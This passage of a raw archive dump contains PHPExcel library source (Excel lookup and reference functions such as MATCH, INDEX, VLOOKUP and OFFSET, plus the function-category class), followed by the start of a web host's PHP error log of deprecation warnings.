$cellValue) { return (integer) preg_replace('/[^0-9]/i', '', $rowKey); } } } else { if (strpos($cellAddress, '!') !== false) { list($sheet, $cellAddress) = explode('!', $cellAddress); } if (strpos($cellAddress, ':') !== false) { list($startAddress, $endAddress) = explode(':', $cellAddress); $startAddress = preg_replace('/[^0-9]/', '', $startAddress); $endAddress = preg_replace('/[^0-9]/', '', $endAddress); $returnValue = array(); do { $returnValue[][] = (integer) $startAddress; } while ($startAddress++ != $endAddress); return $returnValue; } else { list($cellAddress) = explode(':', $cellAddress); return (integer) preg_replace('/[^0-9]/', '', $cellAddress); } } } /** * ROWS * * Returns the number of rows in an array or reference. * * Excel Function: * =ROWS(cellAddress) * * @param cellAddress An array or array formula, or a reference to a range of cells for which you want the number of rows * @return integer The number of rows in cellAddress */ public static function ROWS($cellAddress = null) { if (is_null($cellAddress) || $cellAddress === '') { return 1; } elseif (!is_array($cellAddress)) { return PHPExcel_Calculation_Functions::VALUE(); } reset($cellAddress); $isMatrix = (is_numeric(key($cellAddress))); list($columns, $rows) = PHPExcel_Calculation::_getMatrixDimensions($cellAddress); if ($isMatrix) { return $columns; } else { return $rows; } } /** * HYPERLINK * * Excel Function: * =HYPERLINK(linkURL,displayName) * * @access public * @category Logical Functions * @param string $linkURL Value to check, is also the value returned when no error * @param string $displayName Value to return when testValue is an error condition * @param PHPExcel_Cell $pCell The cell to set the hyperlink in * @return mixed The value of $displayName (or $linkURL if $displayName was blank) */ public static function HYPERLINK($linkURL = '', $displayName = null, PHPExcel_Cell $pCell = null) { $args = func_get_args(); $pCell = array_pop($args); $linkURL = (is_null($linkURL)) ? '' : PHPExcel_Calculation_Functions::flattenSingleValue($linkURL); $displayName = (is_null($displayName)) ? '' : PHPExcel_Calculation_Functions::flattenSingleValue($displayName); if ((!is_object($pCell)) || (trim($linkURL) == '')) { return PHPExcel_Calculation_Functions::REF(); } if ((is_object($displayName)) || trim($displayName) == '') { $displayName = $linkURL; } $pCell->getHyperlink()->setUrl($linkURL); $pCell->getHyperlink()->setTooltip($displayName); return $displayName; } /** * INDIRECT * * Returns the reference specified by a text string. * References are immediately evaluated to display their contents. * * Excel Function: * =INDIRECT(cellAddress) * * NOTE - INDIRECT() does not yet support the optional a1 parameter introduced in Excel 2010 * * @param cellAddress $cellAddress The cell address of the current cell (containing this formula) * @param PHPExcel_Cell $pCell The current cell (containing this formula) * @return mixed The cells referenced by cellAddress * * @todo Support for the optional a1 parameter introduced in Excel 2010 * */ public static function INDIRECT($cellAddress = null, PHPExcel_Cell $pCell = null) { $cellAddress = PHPExcel_Calculation_Functions::flattenSingleValue($cellAddress); if (is_null($cellAddress) || $cellAddress === '') { return PHPExcel_Calculation_Functions::REF(); } $cellAddress1 = $cellAddress; $cellAddress2 = null; if (strpos($cellAddress, ':') !== false) { list($cellAddress1, $cellAddress2) = explode(':', $cellAddress); } if ((!preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_CELLREF.'$/i', $cellAddress1, $matches)) || ((!is_null($cellAddress2)) && (!preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_CELLREF.'$/i', $cellAddress2, $matches)))) { if (!preg_match('/^'.PHPExcel_Calculation::CALCULATION_REGEXP_NAMEDRANGE.'$/i', $cellAddress1, $matches)) { return PHPExcel_Calculation_Functions::REF(); } if (strpos($cellAddress, '!') !== false) { list($sheetName, $cellAddress) = explode('!', $cellAddress); $sheetName = trim($sheetName, "'"); $pSheet = $pCell->getWorksheet()->getParent()->getSheetByName($sheetName); } else { $pSheet = $pCell->getWorksheet(); } return PHPExcel_Calculation::getInstance()->extractNamedRange($cellAddress, $pSheet, false); } if (strpos($cellAddress, '!') !== false) { list($sheetName, $cellAddress) = explode('!', $cellAddress); $sheetName = trim($sheetName, "'"); $pSheet = $pCell->getWorksheet()->getParent()->getSheetByName($sheetName); } else { $pSheet = $pCell->getWorksheet(); } return PHPExcel_Calculation::getInstance()->extractCellRange($cellAddress, $pSheet, false); } /** * OFFSET * * Returns a reference to a range that is a specified number of rows and columns from a cell or range of cells. * The reference that is returned can be a single cell or a range of cells. You can specify the number of rows and * the number of columns to be returned. * * Excel Function: * =OFFSET(cellAddress, rows, cols, [height], [width]) * * @param cellAddress The reference from which you want to base the offset. Reference must refer to a cell or * range of adjacent cells; otherwise, OFFSET returns the #VALUE! error value. * @param rows The number of rows, up or down, that you want the upper-left cell to refer to. * Using 5 as the rows argument specifies that the upper-left cell in the reference is * five rows below reference. Rows can be positive (which means below the starting reference) * or negative (which means above the starting reference). * @param cols The number of columns, to the left or right, that you want the upper-left cell of the result * to refer to. Using 5 as the cols argument specifies that the upper-left cell in the * reference is five columns to the right of reference. Cols can be positive (which means * to the right of the starting reference) or negative (which means to the left of the * starting reference). * @param height The height, in number of rows, that you want the returned reference to be. Height must be a positive number. * @param width The width, in number of columns, that you want the returned reference to be. Width must be a positive number. * @return string A reference to a cell or range of cells */ public static function OFFSET($cellAddress = null, $rows = 0, $columns = 0, $height = null, $width = null) { $rows = PHPExcel_Calculation_Functions::flattenSingleValue($rows); $columns = PHPExcel_Calculation_Functions::flattenSingleValue($columns); $height = PHPExcel_Calculation_Functions::flattenSingleValue($height); $width = PHPExcel_Calculation_Functions::flattenSingleValue($width); if ($cellAddress == null) { return 0; } $args = func_get_args(); $pCell = array_pop($args); if (!is_object($pCell)) { return PHPExcel_Calculation_Functions::REF(); } $sheetName = null; if (strpos($cellAddress, "!")) { list($sheetName, $cellAddress) = explode("!", $cellAddress); $sheetName = trim($sheetName, "'"); } if (strpos($cellAddress, ":")) { list($startCell, $endCell) = explode(":", $cellAddress); } else { $startCell = $endCell = $cellAddress; } list($startCellColumn, $startCellRow) = PHPExcel_Cell::coordinateFromString($startCell); list($endCellColumn, $endCellRow) = PHPExcel_Cell::coordinateFromString($endCell); $startCellRow += $rows; $startCellColumn = PHPExcel_Cell::columnIndexFromString($startCellColumn) - 1; $startCellColumn += $columns; if (($startCellRow <= 0) || ($startCellColumn < 0)) { return PHPExcel_Calculation_Functions::REF(); } $endCellColumn = PHPExcel_Cell::columnIndexFromString($endCellColumn) - 1; if (($width != null) && (!is_object($width))) { $endCellColumn = $startCellColumn + $width - 1; } else { $endCellColumn += $columns; } $startCellColumn = PHPExcel_Cell::stringFromColumnIndex($startCellColumn); if (($height != null) && (!is_object($height))) { $endCellRow = $startCellRow + $height - 1; } else { $endCellRow += $rows; } if (($endCellRow <= 0) || ($endCellColumn < 0)) { return PHPExcel_Calculation_Functions::REF(); } $endCellColumn = PHPExcel_Cell::stringFromColumnIndex($endCellColumn); $cellAddress = $startCellColumn.$startCellRow; if (($startCellColumn != $endCellColumn) || ($startCellRow != $endCellRow)) { $cellAddress .= ':'.$endCellColumn.$endCellRow; } if ($sheetName !== null) { $pSheet = $pCell->getWorksheet()->getParent()->getSheetByName($sheetName); } else { $pSheet = $pCell->getWorksheet(); } return PHPExcel_Calculation::getInstance()->extractCellRange($cellAddress, $pSheet, false); } /** * CHOOSE * * Uses lookup_value to return a value from the list of value arguments. * Use CHOOSE to select one of up to 254 values based on the lookup_value. * * Excel Function: * =CHOOSE(index_num, value1, [value2], ...) * * @param index_num Specifies which value argument is selected. * Index_num must be a number between 1 and 254, or a formula or reference to a cell containing a number * between 1 and 254. * @param value1... Value1 is required, subsequent values are optional. * Between 1 to 254 value arguments from which CHOOSE selects a value or an action to perform based on * index_num. The arguments can be numbers, cell references, defined names, formulas, functions, or * text. * @return mixed The selected value */ public static function CHOOSE() { $chooseArgs = func_get_args(); $chosenEntry = PHPExcel_Calculation_Functions::flattenArray(array_shift($chooseArgs)); $entryCount = count($chooseArgs) - 1; if (is_array($chosenEntry)) { $chosenEntry = array_shift($chosenEntry); } if ((is_numeric($chosenEntry)) && (!is_bool($chosenEntry))) { --$chosenEntry; } else { return PHPExcel_Calculation_Functions::VALUE(); } $chosenEntry = floor($chosenEntry); if (($chosenEntry < 0) || ($chosenEntry > $entryCount)) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_array($chooseArgs[$chosenEntry])) { return PHPExcel_Calculation_Functions::flattenArray($chooseArgs[$chosenEntry]); } else { return $chooseArgs[$chosenEntry]; } } /** * MATCH * * The MATCH function searches for a specified item in a range of cells * * Excel Function: * =MATCH(lookup_value, lookup_array, [match_type]) * * @param lookup_value The value that you want to match in lookup_array * @param lookup_array The range of cells being searched * @param match_type The number -1, 0, or 1. -1 means above, 0 means exact match, 1 means below. If match_type is 1 or -1, the list has to be ordered. * @return integer The relative position of the found item */ public static function MATCH($lookup_value, $lookup_array, $match_type = 1) { $lookup_array = PHPExcel_Calculation_Functions::flattenArray($lookup_array); $lookup_value = PHPExcel_Calculation_Functions::flattenSingleValue($lookup_value); $match_type = (is_null($match_type)) ? 1 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($match_type); // MATCH is not case sensitive $lookup_value = strtolower($lookup_value); // lookup_value type has to be number, text, or logical values if ((!is_numeric($lookup_value)) && (!is_string($lookup_value)) && (!is_bool($lookup_value))) { return PHPExcel_Calculation_Functions::NA(); } // match_type is 0, 1 or -1 if (($match_type !== 0) && ($match_type !== -1) && ($match_type !== 1)) { return PHPExcel_Calculation_Functions::NA(); } // lookup_array should not be empty $lookupArraySize = count($lookup_array); if ($lookupArraySize <= 0) { return PHPExcel_Calculation_Functions::NA(); } // lookup_array should contain only number, text, or logical values, or empty (null) cells foreach ($lookup_array as $i => $lookupArrayValue) { // check the type of the value if ((!is_numeric($lookupArrayValue)) && (!is_string($lookupArrayValue)) && (!is_bool($lookupArrayValue)) && (!is_null($lookupArrayValue))) { return PHPExcel_Calculation_Functions::NA(); } // convert strings to lowercase for case-insensitive testing if (is_string($lookupArrayValue)) { $lookup_array[$i] = strtolower($lookupArrayValue); } if ((is_null($lookupArrayValue)) && (($match_type == 1) || ($match_type == -1))) { $lookup_array = array_slice($lookup_array, 0, $i-1); } } // if match_type is 1 or -1, the list has to be ordered if ($match_type == 1) { asort($lookup_array); $keySet = array_keys($lookup_array); } elseif ($match_type == -1) { arsort($lookup_array); $keySet = array_keys($lookup_array); } // ** // find the match // ** foreach ($lookup_array as $i => $lookupArrayValue) { if (($match_type == 0) && ($lookupArrayValue == $lookup_value)) { // exact match return ++$i; } elseif (($match_type == -1) && ($lookupArrayValue <= $lookup_value)) { $i = array_search($i, $keySet); // if match_type is -1 <=> find the smallest value that is greater than or equal to lookup_value if ($i < 1) { // 1st cell was already smaller than the lookup_value break; } else { // the previous cell was the match return $keySet[$i-1]+1; } } elseif (($match_type == 1) && ($lookupArrayValue >= $lookup_value)) { $i = array_search($i, $keySet); // if match_type is 1 <=> find the largest value that is less than or equal to lookup_value if ($i < 1) { // 1st cell was already bigger than the lookup_value break; } else { // the previous cell was the match return $keySet[$i-1]+1; } } } // unsuccessful in finding a match, return #N/A error value return PHPExcel_Calculation_Functions::NA(); } /** * INDEX * * Uses an index to choose a value from a reference or array * * Excel Function: * =INDEX(range_array, row_num, [column_num]) * * @param range_array A range of cells or an array constant * @param row_num The row in array from which to return a value. If row_num is omitted, column_num is required. * @param column_num The column in array from which to return a value. If column_num is omitted, row_num is required. * @return mixed the value of a specified cell or array of cells */ public static function INDEX($arrayValues, $rowNum = 0, $columnNum = 0) { if (($rowNum < 0) || ($columnNum < 0)) { return PHPExcel_Calculation_Functions::VALUE(); } if (!is_array($arrayValues)) { return PHPExcel_Calculation_Functions::REF(); } $rowKeys = array_keys($arrayValues); $columnKeys = @array_keys($arrayValues[$rowKeys[0]]); if ($columnNum > count($columnKeys)) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($columnNum == 0) { if ($rowNum == 0) { return $arrayValues; } $rowNum = $rowKeys[--$rowNum]; $returnArray = array(); foreach ($arrayValues as $arrayColumn) { if (is_array($arrayColumn)) { if (isset($arrayColumn[$rowNum])) { $returnArray[] = $arrayColumn[$rowNum]; } else { return $arrayValues[$rowNum]; } } else { return $arrayValues[$rowNum]; } } return $returnArray; } $columnNum = $columnKeys[--$columnNum]; if ($rowNum > count($rowKeys)) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($rowNum == 0) { return $arrayValues[$columnNum]; } $rowNum = $rowKeys[--$rowNum]; return $arrayValues[$rowNum][$columnNum]; } /** * TRANSPOSE * * @param array $matrixData A matrix of values * @return array * * Unlike the Excel TRANSPOSE function, which will only work on a single row or column, this function will transpose a full matrix. */ public static function TRANSPOSE($matrixData) { $returnMatrix = array(); if (!is_array($matrixData)) { $matrixData = array(array($matrixData)); } $column = 0; foreach ($matrixData as $matrixRow) { $row = 0; foreach ($matrixRow as $matrixCell) { $returnMatrix[$row][$column] = $matrixCell; ++$row; } ++$column; } return $returnMatrix; } private static function vlookupSort($a, $b) { reset($a); $firstColumn = key($a); if (($aLower = strtolower($a[$firstColumn])) == ($bLower = strtolower($b[$firstColumn]))) { return 0; } return ($aLower < $bLower) ? -1 : 1; } /** * VLOOKUP * The VLOOKUP function searches for value in the left-most column of lookup_array and returns the value in the same row based on the index_number. * @param lookup_value The value that you want to match in lookup_array * @param lookup_array The range of cells being searched * @param index_number The column number in table_array from which the matching value must be returned. The first column is 1. * @param not_exact_match Determines if you are looking for an exact match based on lookup_value. * @return mixed The value of the found cell */ public static function VLOOKUP($lookup_value, $lookup_array, $index_number, $not_exact_match = true) { $lookup_value = PHPExcel_Calculation_Functions::flattenSingleValue($lookup_value); $index_number = PHPExcel_Calculation_Functions::flattenSingleValue($index_number); $not_exact_match = PHPExcel_Calculation_Functions::flattenSingleValue($not_exact_match); // index_number must be greater than or equal to 1 if ($index_number < 1) { return PHPExcel_Calculation_Functions::VALUE(); } // index_number must be less than or equal to the number of columns in lookup_array if ((!is_array($lookup_array)) || (empty($lookup_array))) { return PHPExcel_Calculation_Functions::REF(); } else { $f = array_keys($lookup_array); $firstRow = array_pop($f); if ((!is_array($lookup_array[$firstRow])) || ($index_number > count($lookup_array[$firstRow]))) { return PHPExcel_Calculation_Functions::REF(); } else { $columnKeys = array_keys($lookup_array[$firstRow]); $returnColumn = $columnKeys[--$index_number]; $firstColumn = array_shift($columnKeys); } } if (!$not_exact_match) { uasort($lookup_array, array('self', 'vlookupSort')); } $rowNumber = $rowValue = false; foreach ($lookup_array as $rowKey => $rowData) { if ((is_numeric($lookup_value) && is_numeric($rowData[$firstColumn]) && ($rowData[$firstColumn] > $lookup_value)) || (!is_numeric($lookup_value) && !is_numeric($rowData[$firstColumn]) && (strtolower($rowData[$firstColumn]) > strtolower($lookup_value)))) { break; } $rowNumber = $rowKey; $rowValue = $rowData[$firstColumn]; } if ($rowNumber !== false) { if ((!$not_exact_match) && ($rowValue != $lookup_value)) { // if an exact match is required, we have what we need to return an appropriate response return PHPExcel_Calculation_Functions::NA(); } else { // otherwise return the appropriate value return $lookup_array[$rowNumber][$returnColumn]; } } return PHPExcel_Calculation_Functions::NA(); } /** * HLOOKUP * The HLOOKUP function searches for value in the top-most row of lookup_array and returns the value in the same column based on the index_number. * @param lookup_value The value that you want to match in lookup_array * @param lookup_array The range of cells being searched * @param index_number The row number in table_array from which the matching value must be returned. The first row is 1. * @param not_exact_match Determines if you are looking for an exact match based on lookup_value. * @return mixed The value of the found cell */ public static function HLOOKUP($lookup_value, $lookup_array, $index_number, $not_exact_match = true) { $lookup_value = PHPExcel_Calculation_Functions::flattenSingleValue($lookup_value); $index_number = PHPExcel_Calculation_Functions::flattenSingleValue($index_number); $not_exact_match = PHPExcel_Calculation_Functions::flattenSingleValue($not_exact_match); // index_number must be greater than or equal to 1 if ($index_number < 1) { return PHPExcel_Calculation_Functions::VALUE(); } // index_number must be less than or equal to the number of columns in lookup_array if ((!is_array($lookup_array)) || (empty($lookup_array))) { return PHPExcel_Calculation_Functions::REF(); } else { $f = array_keys($lookup_array); $firstRow = array_pop($f); if ((!is_array($lookup_array[$firstRow])) || ($index_number > count($lookup_array[$firstRow]))) { return PHPExcel_Calculation_Functions::REF(); } else { $columnKeys = array_keys($lookup_array[$firstRow]); $firstkey = $f[0] - 1; $returnColumn = $firstkey + $index_number; $firstColumn = array_shift($f); } } if (!$not_exact_match) { $firstRowH = asort($lookup_array[$firstColumn]); } $rowNumber = $rowValue = false; foreach ($lookup_array[$firstColumn] as $rowKey => $rowData) { if ((is_numeric($lookup_value) && is_numeric($rowData) && ($rowData > $lookup_value)) || (!is_numeric($lookup_value) && !is_numeric($rowData) && (strtolower($rowData) > strtolower($lookup_value)))) { break; } $rowNumber = $rowKey; $rowValue = $rowData; } if ($rowNumber !== false) { if ((!$not_exact_match) && ($rowValue != $lookup_value)) { // if an exact match is required, we have what we need to return an appropriate response return PHPExcel_Calculation_Functions::NA(); } else { // otherwise return the appropriate value return $lookup_array[$returnColumn][$rowNumber]; } } return PHPExcel_Calculation_Functions::NA(); } /** * LOOKUP * The LOOKUP function searches for value either from a one-row or one-column range or from an array. * @param lookup_value The value that you want to match in lookup_array * @param lookup_vector The range of cells being searched * @param result_vector The column from which the matching value must be returned * @return mixed The value of the found cell */ public static function LOOKUP($lookup_value, $lookup_vector, $result_vector = null) { $lookup_value = PHPExcel_Calculation_Functions::flattenSingleValue($lookup_value); if (!is_array($lookup_vector)) { return PHPExcel_Calculation_Functions::NA(); } $lookupRows = count($lookup_vector); $l = array_keys($lookup_vector); $l = array_shift($l); $lookupColumns = count($lookup_vector[$l]); if ((($lookupRows == 1) && ($lookupColumns > 1)) || (($lookupRows == 2) && ($lookupColumns != 2))) { $lookup_vector = self::TRANSPOSE($lookup_vector); $lookupRows = count($lookup_vector); $l = array_keys($lookup_vector); $lookupColumns = count($lookup_vector[array_shift($l)]); } if (is_null($result_vector)) { $result_vector = $lookup_vector; } $resultRows = count($result_vector); $l = array_keys($result_vector); $l = array_shift($l); $resultColumns = count($result_vector[$l]); if ((($resultRows == 1) && ($resultColumns > 1)) || (($resultRows == 2) && ($resultColumns != 2))) { $result_vector = self::TRANSPOSE($result_vector); $resultRows = count($result_vector); $r = array_keys($result_vector); $resultColumns = count($result_vector[array_shift($r)]); } if ($lookupRows == 2) { $result_vector = array_pop($lookup_vector); $lookup_vector = array_shift($lookup_vector); } if ($lookupColumns != 2) { foreach ($lookup_vector as &$value) { if (is_array($value)) { $k = array_keys($value); $key1 = $key2 = array_shift($k); $key2++; $dataValue1 = $value[$key1]; } else { $key1 = 0; $key2 = 1; $dataValue1 = $value; } $dataValue2 = array_shift($result_vector); if (is_array($dataValue2)) { $dataValue2 = array_shift($dataValue2); } $value = array($key1 => $dataValue1, $key2 => $dataValue2); } unset($value); } return self::VLOOKUP($lookup_value, $lookup_vector, 2); } } PHPExcel/Calculation/Function.php 0000644 00000010051 14642534107 0012713 0 ustar 00 <?php /** * PHPExcel_Calculation_Function * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Function { /* Function categories */ const CATEGORY_CUBE = 'Cube'; const CATEGORY_DATABASE = 'Database'; const CATEGORY_DATE_AND_TIME = 'Date and Time'; const CATEGORY_ENGINEERING = 'Engineering'; const CATEGORY_FINANCIAL = 'Financial'; const CATEGORY_INFORMATION = 'Information'; const CATEGORY_LOGICAL = 'Logical'; const CATEGORY_LOOKUP_AND_REFERENCE = 'Lookup and Reference'; const CATEGORY_MATH_AND_TRIG = 'Math and Trig'; const CATEGORY_STATISTICAL = 'Statistical'; const CATEGORY_TEXT_AND_DATA = 'Text and Data'; /** * Category (represented by CATEGORY_*) * * @var string */ private $category; /** * Excel name * * @var string */ private $excelName; /** * PHPExcel name * * @var string */ private $phpExcelName; /** * Create a new PHPExcel_Calculation_Function * * @param string $pCategory Category (represented by CATEGORY_*) * @param string $pExcelName Excel function name * @param string $pPHPExcelName PHPExcel function mapping * @throws PHPExcel_Calculation_Exception */ public function __construct($pCategory = null, $pExcelName = null, $pPHPExcelName = null) { if (($pCategory !== null) && ($pExcelName !== null) && ($pPHPExcelName !== null)) { // Initialise values $this->category = $pCategory; $this->excelName = $pExcelName; $this->phpExcelName = $pPHPExcelName; } else { throw new PHPExcel_Calculation_Exception("Invalid parameters passed."); } } /** * Get Category (represented by CATEGORY_*) * * @return string */ public function getCategory() { return $this->category; } /** * Set Category (represented by CATEGORY_*) * * @param string $value * @throws PHPExcel_Calculation_Exception */ public function setCategory($value = null) { if (!is_null($value)) { $this->category = $value; } else { throw new PHPExcel_Calculation_Exception("Invalid parameter passed."); } } /** * Get Excel name * * @return string */ public function getExcelName() { return $this->excelName; } /** * Set Excel name * * @param string $value */ public function setExcelName($value) { $this->excelName = $value; } /** * Get PHPExcel name * * @return string */ public function getPHPExcelName() { return $this->phpExcelName; } /** * Set PHPExcel name * * @param string $value */ public function setPHPExcelName($value) { $this->phpExcelName = $value; } } PHPExcel/Calculation/error_log 0000644 00001360660 14642534107 0012351 0 ustar 00 [11-May-2024 05:08:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [11-May-2024 05:08:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:13 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [11-May-2024 05:08:14 